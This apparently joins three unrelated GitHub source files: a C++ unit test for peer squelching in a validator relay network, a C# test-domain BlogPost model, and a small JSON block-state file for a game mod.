links_; PublicKey pkey_{}; MessageSPtr message_ = nullptr; inline static std::uint16_t sid_ = 0; std::uint16_t id_ = 0; }; class PeerSim : public PeerPartial, public std::enable_shared_from_this<PeerSim> { public: using id_t = Peer::id_t; PeerSim(Overlay& overlay) : overlay_(overlay) { id_ = sid_++; } ~PeerSim() = default; id_t id() const override { return id_; } static void resetId() { sid_ = 0; } /** Local Peer (PeerImp) */ void onMessage(MessageSPtr const& m, SquelchCB f) override { auto validator = m->getValidatorKey(); assert(validator); if (squelch_.isSquelched(*validator)) return; overlay_.updateSlotAndSquelch({}, *validator, id(), f); } /** Remote Peer (Directly connected Peer) */ virtual void onMessage(protocol::TMSquelch const& squelch) override { auto validator = squelch.validatorpubkey(); PublicKey key(Slice(validator.data(), validator.size())); squelch_.squelch(key, squelch.squelch(), squelch.squelchduration()); } private: inline static id_t sid_ = 0; id_t id_; Overlay& overlay_; squelch::Squelch<ManualClock> squelch_; }; class OverlaySim : public Overlay, public squelch::SquelchHandler { using Peers = std::unordered_map<Peer::id_t, PeerSPtr>; public: using id_t = Peer::id_t; using clock_type = ManualClock; OverlaySim(Application& app) : slots_(app, *this) { } ~OverlaySim() = default; void clear() { peers_.clear(); ManualClock::advance(hours(1)); slots_.deleteIdlePeers(); } std::uint16_t inState(PublicKey const& validator, squelch::PeerState state) { auto res = slots_.inState(validator, state); return res ? *res : 0; } void updateSlotAndSquelch( uint256 const& key, PublicKey const& validator, Peer::id_t id, SquelchCB f, protocol::MessageType type = protocol::mtVALIDATION) override { squelch_ = f; slots_.updateSlotAndSquelch(key, validator, id, type); } void deletePeer(id_t id, UnsquelchCB f) override { unsquelch_ = f; slots_.deletePeer(id, true); } void deleteIdlePeers(UnsquelchCB f) override { unsquelch_ = f; slots_.deleteIdlePeers(); } PeerSPtr addPeer(bool useCache = true) { PeerSPtr peer{}; Peer::id_t id; if (peersCache_.empty() || !useCache) { peer = std::make_shared<PeerSim>(*this); id = peer->id(); } else { auto it = peersCache_.begin(); peer = it->second; id = it->first; peersCache_.erase(it); } peers_.emplace(std::make_pair(id, peer)); return peer; } void deletePeer(Peer::id_t id, bool useCache = true) { auto it = peers_.find(id); assert(it != peers_.end()); deletePeer(id, [&](PublicKey const&, PeerWPtr) {}); if (useCache) peersCache_.emplace(std::make_pair(id, it->second)); peers_.erase(it); } void resetPeers() { while (!peers_.empty()) deletePeer(peers_.begin()->first); while (!peersCache_.empty()) addPeer(); } std::optional<Peer::id_t> deleteLastPeer() { if (peers_.empty()) return {}; std::uint8_t maxId = 0; for (auto& [id, _] : peers_) { (void)_; if (id > maxId) maxId = id; } deletePeer(maxId, false); return maxId; } bool isCountingState(PublicKey const& validator) { return slots_.inState(validator, squelch::SlotState::Counting); } std::set<id_t> getSelected(PublicKey const& validator) { return slots_.getSelected(validator); } bool isSelected(PublicKey const& validator, Peer::id_t peer) { auto selected = slots_.getSelected(validator); return selected.find(peer) != selected.end(); } id_t getSelectedPeer(PublicKey const& validator) { auto selected = slots_.getSelected(validator); assert(selected.size()); return *selected.begin(); } std::unordered_map< id_t, std::tuple< squelch::PeerState, std::uint16_t, std::uint32_t, std::uint32_t>> getPeers(PublicKey const& validator) { return slots_.getPeers(validator); } std::uint16_t getNumPeers() const { return peers_.size(); } private: void squelch( PublicKey const& validator, Peer::id_t id, std::uint32_t squelchDuration) const override { if (auto it = peers_.find(id); it != peers_.end()) squelch_(validator, it->second, squelchDuration); } void unsquelch(PublicKey const& validator, Peer::id_t id) const override { if (auto it = peers_.find(id); it != peers_.end()) unsquelch_(validator, it->second); } SquelchCB squelch_; UnsquelchCB unsquelch_; Peers peers_; Peers peersCache_; squelch::Slots<ManualClock> slots_; }; class Network { public: Network(Application& app) : overlay_(app) { init(); } void init() { validators_.resize(MAX_VALIDATORS); for (int p = 0; p < MAX_PEERS; p++) { auto peer = overlay_.addPeer(); for (auto& v : validators_) v.addPeer(peer); } } ~Network() = default; void reset() { validators_.clear(); overlay_.clear(); PeerSim::resetId(); Validator::resetId(); init(); } Peer::id_t addPeer() { auto peer = overlay_.addPeer(); for (auto& v : validators_) v.addPeer(peer); return peer->id(); } void deleteLastPeer() { auto id = overlay_.deleteLastPeer(); if (!id) return; for (auto& validator : validators_) validator.deletePeer(*id); } void purgePeers() { while (overlay_.getNumPeers() > MAX_PEERS) deleteLastPeer(); } Validator& validator(std::uint16_t v) { assert(v < validators_.size()); return validators_[v]; } OverlaySim& overlay() { return overlay_; } void enableLink(std::uint16_t validatorId, Peer::id_t peer, bool enable) { auto it = std::find_if(validators_.begin(), validators_.end(), [&](auto& v) { return v.id() == validatorId; }); assert(it != validators_.end()); if (enable) it->linkUp(peer); else it->linkDown(peer); } void onDisconnectPeer(Peer::id_t peer) { // Send unsquelch to the Peer on all links. This way when // the Peer "reconnects" it starts sending messages on the link. // We expect that if a Peer disconnects and then reconnects, it's // unsquelched. protocol::TMSquelch squelch; squelch.set_squelch(false); for (auto& v : validators_) { PublicKey key = v; squelch.clear_validatorpubkey(); squelch.set_validatorpubkey(key.data(), key.size()); v.for_links({peer}, [&](Link& l, MessageSPtr) { std::dynamic_pointer_cast<PeerSim>(l.getPeer())->send(squelch); }); } } void for_rand( std::uint32_t min, std::uint32_t max, std::function<void(std::uint32_t)> f) { auto size = max - min; std::vector<std::uint32_t> s(size); std::iota(s.begin(), s.end(), min); std::random_device d; std::mt19937 g(d()); std::shuffle(s.begin(), s.end(), g); for (auto v : s) f(v); } void propagate( LinkIterCB link, std::uint16_t nValidators = MAX_VALIDATORS, std::uint32_t nMessages = MAX_MESSAGES, bool purge = true, bool resetClock = true) { if (resetClock) ManualClock::reset(); if (purge) { purgePeers(); overlay_.resetPeers(); } for (int m = 0; m < nMessages; ++m) { ManualClock::randAdvance(milliseconds(1800), milliseconds(2200)); for_rand(0, nValidators, [&](std::uint32_t v) { validators_[v].for_links(link); }); } } /** Is peer in Selected state in any of the slots */ bool isSelected(Peer::id_t id) { for (auto& v : validators_) { if (overlay_.isSelected(v, id)) return true; } return false; } /** Check if there are peers to unsquelch - peer is in Selected * state in any of the slots and there are peers in Squelched state * in those slots. */ bool allCounting(Peer::id_t peer) { for (auto& v : validators_) { if (!overlay_.isSelected(v, peer)) continue; auto peers = overlay_.getPeers(v); for (auto& [_, v] : peers) { (void)_; if (std::get<squelch::PeerState>(v) == squelch::PeerState::Squelched) return false; } } return true; } private: OverlaySim overlay_; std::vector<Validator> validators_; }; class reduce_relay_test : public beast::unit_test::suite { using Slot = squelch::Slot<ManualClock>; using id_t = Peer::id_t; protected: void printPeers(const std::string& msg, std::uint16_t validator = 0) { auto peers = network_.overlay().getPeers(network_.validator(validator)); std::cout << msg << " " << "num peers " << (int)network_.overlay().getNumPeers() << std::endl; for (auto& [k, v] : peers) std::cout << k << ":" << (int)std::get<squelch::PeerState>(v) << " "; std::cout << std::endl; } /** Send squelch (if duration is set) or unsquelch (if duration not set) */ Peer::id_t sendSquelch( PublicKey const& validator, PeerWPtr const& peerPtr, std::optional<std::uint32_t> duration) { protocol::TMSquelch squelch; bool res = duration ? true : false; squelch.set_squelch(res); squelch.set_validatorpubkey(validator.data(), validator.size()); if (res) squelch.set_squelchduration(*duration); auto sp = peerPtr.lock(); assert(sp); std::dynamic_pointer_cast<PeerSim>(sp)->send(squelch); return sp->id(); } enum State { On, Off, WaitReset }; enum EventType { LinkDown = 0, PeerDisconnected = 1 }; // Link down or Peer disconnect event // TBD - add new peer event // TBD - add overlapping type of events at any // time in any quantity struct Event { State state_ = State::Off; std::uint32_t cnt_ = 0; std::uint32_t handledCnt_ = 0; bool isSelected_ = false; Peer::id_t peer_; std::uint16_t validator_; PublicKey key_; time_point<ManualClock> time_; bool handled_ = false; }; /** Randomly brings the link between a validator and a peer down. * Randomly disconnects a peer. Those events are generated one at a time. */ void random(bool log) { std::unordered_map<EventType, Event> events{ {LinkDown, {}}, {PeerDisconnected, {}}}; time_point<ManualClock> lastCheck = ManualClock::now(); network_.reset(); network_.propagate([&](Link& link, MessageSPtr m) { auto& validator = link.validator(); auto now = ManualClock::now(); bool squelched = false; std::stringstream str; link.send( m, [&](PublicKey const& key, PeerWPtr const& peerPtr, std::uint32_t duration) { assert(key == validator); auto p = sendSquelch(key, peerPtr, duration); squelched = true; str << p << " "; }); if (squelched) { auto selected = network_.overlay().getSelected(validator); str << " selected: "; for (auto s : selected) str << s << " "; if (log) std::cout << (double)squelch::epoch<milliseconds>(now).count() / 1000. << " random, squelched, validator: " << validator.id() << " peers: " << str.str() << std::endl; auto countingState = network_.overlay().isCountingState(validator); BEAST_EXPECT( countingState == false && selected.size() == squelch::MAX_SELECTED_PEERS); } // Trigger Link Down or Peer Disconnect event // Only one Link Down at a time if (events[EventType::LinkDown].state_ == State::Off) { auto update = [&](EventType event) { events[event].cnt_++; events[event].validator_ = validator.id(); events[event].key_ = validator; events[event].peer_ = link.peerId(); events[event].state_ = State::On; events[event].time_ = now; if (event == EventType::LinkDown) { network_.enableLink( validator.id(), link.peerId(), false); events[event].isSelected_ = network_.overlay().isSelected( validator, link.peerId()); } else events[event].isSelected_ = network_.isSelected(link.peerId()); }; auto r = rand_int(0, 1000); if (r == (int)EventType::LinkDown || r == (int)EventType::PeerDisconnected) { update(static_cast<EventType>(r)); } } if (events[EventType::PeerDisconnected].state_ == State::On) { auto& event = events[EventType::PeerDisconnected]; bool allCounting = network_.allCounting(event.peer_); network_.overlay().deletePeer( event.peer_, [&](PublicKey const& v, PeerWPtr const& peerPtr) { if (event.isSelected_) sendSquelch(v, peerPtr, {}); event.handled_ = true; }); // Should only be unsquelched if the peer is in Selected state // If in Selected state it's possible unsquelching didn't // take place because there is no peers in Squelched state in // any of the slots where the peer is in Selected state // (allCounting is true) bool handled = (event.isSelected_ == false && !event.handled_) || (event.isSelected_ == true && (event.handled_ || allCounting)); BEAST_EXPECT(handled); event.state_ = State::Off; event.isSelected_ = false; event.handledCnt_ += handled; event.handled_ = false; network_.onDisconnectPeer(event.peer_); } auto& event = events[EventType::LinkDown]; // Check every sec for idled peers. Idled peers are // created by Link Down event. if (now - lastCheck > milliseconds(1000)) { lastCheck = now; // Check if Link Down event must be handled by // deleteIdlePeer(): 1) the peer is in Selected state; // 2) the peer has not received any messages for IDLED time; // 3) there are peers in Squelched state in the slot. // 4) peer is in Slot's peers_ (if not then it is deleted // by Slots::deleteIdlePeers()) bool mustHandle = false; if (event.state_ == State::On) { event.isSelected_ = network_.overlay().isSelected(event.key_, event.peer_); auto peers = network_.overlay().getPeers(event.key_); auto d = squelch::epoch<milliseconds>(now).count() - std::get<3>(peers[event.peer_]); mustHandle = event.isSelected_ && d > milliseconds(squelch::IDLED).count() && network_.overlay().inState( event.key_, squelch::PeerState::Squelched) > 0 && peers.find(event.peer_) != peers.end(); } network_.overlay().deleteIdlePeers( [&](PublicKey const& v, PeerWPtr const& ptr) { event.handled_ = true; if (mustHandle && v == event.key_) { event.state_ = State::WaitReset; sendSquelch(validator, ptr, {}); } }); bool handled = (event.handled_ && event.state_ == State::WaitReset) || (!event.handled_ && !mustHandle); BEAST_EXPECT(handled); } if (event.state_ == State::WaitReset || (event.state_ == State::On && (now - event.time_ > (squelch::IDLED + seconds(2))))) { bool handled = event.state_ == State::WaitReset || !event.handled_; BEAST_EXPECT(handled); event.state_ = State::Off; event.isSelected_ = false; event.handledCnt_ += handled; event.handled_ = false; network_.enableLink(event.validator_, event.peer_, true); } }); auto& down = events[EventType::LinkDown]; auto& disconnected = events[EventType::PeerDisconnected]; // It's possible the last Down Link event is not handled BEAST_EXPECT(down.handledCnt_ >= down.cnt_ - 1); // All Peer Disconnect events must be handled BEAST_EXPECT(disconnected.cnt_ == disconnected.handledCnt_); if (log) std::cout << "link down count: " << down.cnt_ << "/" << down.handledCnt_ << " peer disconnect count: " << disconnected.cnt_ << "/" << disconnected.handledCnt_; } bool checkCounting(PublicKey const& validator, bool isCountingState) { auto countingState = network_.overlay().isCountingState(validator); BEAST_EXPECT(countingState == isCountingState); return countingState == isCountingState; } void doTest(const std::string& msg, bool log, std::function<void(bool)> f) { testcase(msg); f(log); } /** Initial counting round: three peers receive message "faster" then * others. Once the message count for the three peers reaches threshold * the rest of the peers are squelched and the slot for the given validator * is in Selected state. */ void testInitialRound(bool log) { doTest("Initial Round", log, [this](bool log) { BEAST_EXPECT(propagateAndSquelch(log)); }); } /** Receiving message from squelched peer too soon should not change the * slot's state to Counting. */ void testPeerUnsquelchedTooSoon(bool log) { doTest("Peer Unsquelched Too Soon", log, [this](bool log) { BEAST_EXPECT(propagateNoSquelch(log, 1, false, false, false)); }); } /** Receiving message from squelched peer should change the * slot's state to Counting. */ void testPeerUnsquelched(bool log) { ManualClock::advance(seconds(601)); doTest("Peer Unsquelched", log, [this](bool log) { BEAST_EXPECT(propagateNoSquelch(log, 2, true, true, false)); }); } /** Propagate enough messages to generate one squelch event */ bool propagateAndSquelch(bool log, bool purge = true, bool resetClock = true) { int n = 0; network_.propagate( [&](Link& link, MessageSPtr message) { std::uint16_t squelched = 0; link.send( message, [&](PublicKey const& key, PeerWPtr const& peerPtr, std::uint32_t duration) { squelched++; sendSquelch(key, peerPtr, duration); }); if (squelched) { BEAST_EXPECT( squelched == MAX_PEERS - squelch::MAX_SELECTED_PEERS); n++; } }, 1, squelch::MAX_MESSAGE_THRESHOLD + 2, purge, resetClock); auto selected = network_.overlay().getSelected(network_.validator(0)); BEAST_EXPECT(selected.size() == squelch::MAX_SELECTED_PEERS); BEAST_EXPECT(n == 1); // only one selection round auto res = checkCounting(network_.validator(0), false); BEAST_EXPECT(res); return n == 1 && res; } /** Send fewer message so that squelch event is not generated */ bool propagateNoSquelch( bool log, std::uint16_t nMessages, bool countingState, bool purge = true, bool resetClock = true) { bool squelched = false; network_.propagate( [&](Link& link, MessageSPtr message) { link.send( message, [&](PublicKey const& key, PeerWPtr const& peerPtr, std::uint32_t duration) { squelched = true; BEAST_EXPECT(false); }); }, 1, nMessages, purge, resetClock); auto res = checkCounting(network_.validator(0), countingState); return !squelched && res; } /** Receiving a message from new peer should change the * slot's state to Counting. */ void testNewPeer(bool log) { doTest("New Peer", log, [this](bool log) { BEAST_EXPECT(propagateAndSquelch(log, true, false)); network_.addPeer(); BEAST_EXPECT(propagateNoSquelch(log, 1, true, false, false)); }); } /** Selected peer disconnects. Should change the state to counting and * unsquelch squelched peers. */ void testSelectedPeerDisconnects(bool log) { doTest("Selected Peer Disconnects", log, [this](bool log) { ManualClock::advance(seconds(601)); BEAST_EXPECT(propagateAndSquelch(log, true, false)); auto id = network_.overlay().getSelectedPeer(network_.validator(0)); std::uint16_t unsquelched = 0; network_.overlay().deletePeer( id, [&](PublicKey const& key, PeerWPtr const& peer) { unsquelched++; }); BEAST_EXPECT( unsquelched == MAX_PEERS - squelch::MAX_SELECTED_PEERS); BEAST_EXPECT(checkCounting(network_.validator(0), true)); }); } /** Selected peer stops relaying. Should change the state to counting and * unsquelch squelched peers. */ void testSelectedPeerStopsRelaying(bool log) { doTest("Selected Peer Stops Relaying", log, [this](bool log) { ManualClock::advance(seconds(601)); BEAST_EXPECT(propagateAndSquelch(log, true, false)); ManualClock::advance(squelch::IDLED + seconds(1)); std::uint16_t unsquelched = 0; network_.overlay().deleteIdlePeers( [&](PublicKey const& key, PeerWPtr const& peer) { unsquelched++; }); auto peers = network_.overlay().getPeers(network_.validator(0)); BEAST_EXPECT( unsquelched == MAX_PEERS - squelch::MAX_SELECTED_PEERS); BEAST_EXPECT(checkCounting(network_.validator(0), true)); }); } /** Squelched peer disconnects. Should not change the state to counting. */ void testSquelchedPeerDisconnects(bool log) { doTest("Squelched Peer Disconnects", log, [this](bool log) { ManualClock::advance(seconds(601)); BEAST_EXPECT(propagateAndSquelch(log, true, false)); auto peers = network_.overlay().getPeers(network_.validator(0)); auto it = std::find_if(peers.begin(), peers.end(), [&](auto it) { return std::get<squelch::PeerState>(it.second) == squelch::PeerState::Squelched; }); assert(it != peers.end()); std::uint16_t unsquelched = 0; network_.overlay().deletePeer( it->first, [&](PublicKey const& key, PeerWPtr const& peer) { unsquelched++; }); BEAST_EXPECT(unsquelched == 0); BEAST_EXPECT(checkCounting(network_.validator(0), false)); }); } void testConfig(bool log) { doTest("Config Test", log, [&](bool log) { Config c; std::string toLoad(R"rippleConfig( [reduce_relay] enable=1 squelch=1 )rippleConfig"); c.loadFromString(toLoad); BEAST_EXPECT(c.REDUCE_RELAY_ENABLE == true); BEAST_EXPECT(c.REDUCE_RELAY_SQUELCH == true); Config c1; toLoad = (R"rippleConfig( [reduce_relay] enable=0 squelch=0 )rippleConfig"); c1.loadFromString(toLoad); BEAST_EXPECT(c1.REDUCE_RELAY_ENABLE == false); BEAST_EXPECT(c1.REDUCE_RELAY_SQUELCH == false); Config c2; toLoad = R"rippleConfig( [reduce_relay] enabled=1 squelched=1 )rippleConfig"; c2.loadFromString(toLoad); BEAST_EXPECT(c2.REDUCE_RELAY_ENABLE == false); BEAST_EXPECT(c2.REDUCE_RELAY_SQUELCH == false); }); } void testInternalHashRouter(bool log) { doTest("Duplicate Message", log, [&](bool log) { network_.reset(); // update message count for the same peer/validator std::int16_t nMessages = 5; for (int i = 0; i < nMessages; i++) { uint256 key(i); network_.overlay().updateSlotAndSquelch( key, network_.validator(0), 0, [&](PublicKey const&, PeerWPtr, std::uint32_t) {}); } auto peers = network_.overlay().getPeers(network_.validator(0)); // first message changes Slot state to Counting and is not counted, // hence '-1'. BEAST_EXPECT(std::get<1>(peers[0]) == (nMessages - 1)); // add duplicate uint256 key(nMessages - 1); network_.overlay().updateSlotAndSquelch( key, network_.validator(0), 0, [&](PublicKey const&, PeerWPtr, std::uint32_t) {}); // confirm the same number of messages peers = network_.overlay().getPeers(network_.validator(0)); BEAST_EXPECT(std::get<1>(peers[0]) == (nMessages - 1)); // advance the clock ManualClock::advance(squelch::IDLED + seconds(1)); network_.overlay().updateSlotAndSquelch( key, network_.validator(0), 0, [&](PublicKey const&, PeerWPtr, std::uint32_t) {}); peers = network_.overlay().getPeers(network_.validator(0)); // confirm message number increased BEAST_EXPECT(std::get<1>(peers[0]) == nMessages); }); } jtx::Env env_; Network network_; public: reduce_relay_test() : env_(*this), network_(env_.app()) { } void run() override { bool log = false; testConfig(log); testInitialRound(log); testPeerUnsquelchedTooSoon(log); testPeerUnsquelched(log); testNewPeer(log); testSquelchedPeerDisconnects(log); testSelectedPeerDisconnects(log); testSelectedPeerStopsRelaying(log); testInternalHashRouter(log); } }; class reduce_relay_simulate_test : public reduce_relay_test { void testRandom(bool log) { doTest("Random Test", log, [&](bool log) { random(log); }); } void run() override { bool log = false; testRandom(log); } }; BEAST_DEFINE_TESTSUITE(reduce_relay, ripple_data, ripple); BEAST_DEFINE_TESTSUITE_MANUAL(reduce_relay_simulate, ripple_data, ripple); } // namespace test } // namespace ripple
{ "pile_set_name": "Github" }
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Tests.FakeDomain.Models { public class BlogPost { public int ID { get; set; } public string Title { get; set; } public string ShortTitle { get; set; } public DateTime Created { get; set; } public int Reads { get; set; } public AuthorInfo Author { get; set; } public ICollection<Comment> Comments { get; set; } public static BlogPost Create(string title, DateTime created) { return new BlogPost { Title = title, Created = created, Author = new AuthorInfo { Email = "[email protected]", Name = "name", Address = new Address { Line1 = "Street", Town = "Gothenburg", ZipCode = "41654" } } }; } public static BlogPost Create(string title) { return new BlogPost { Title = title, Created = DateTime.Now, Author = new AuthorInfo { Email = "[email protected]", Name = "name", Address = new Address { Line1 = "Street", Town = "Gothenburg", ZipCode = "41654" } } }; } } public class AuthorInfo { public string Name { get; set; } public string Email { get; set; } public Address Address { get; set; } } public class Address { public string Line1 { get; set; } public string ZipCode { get; set; } public string Town { get; set; } } }
{ "pile_set_name": "Github" }
{ "variants": { "": { "model": "quark:block/pink_stained_planks" } } }
{ "pile_set_name": "Github" }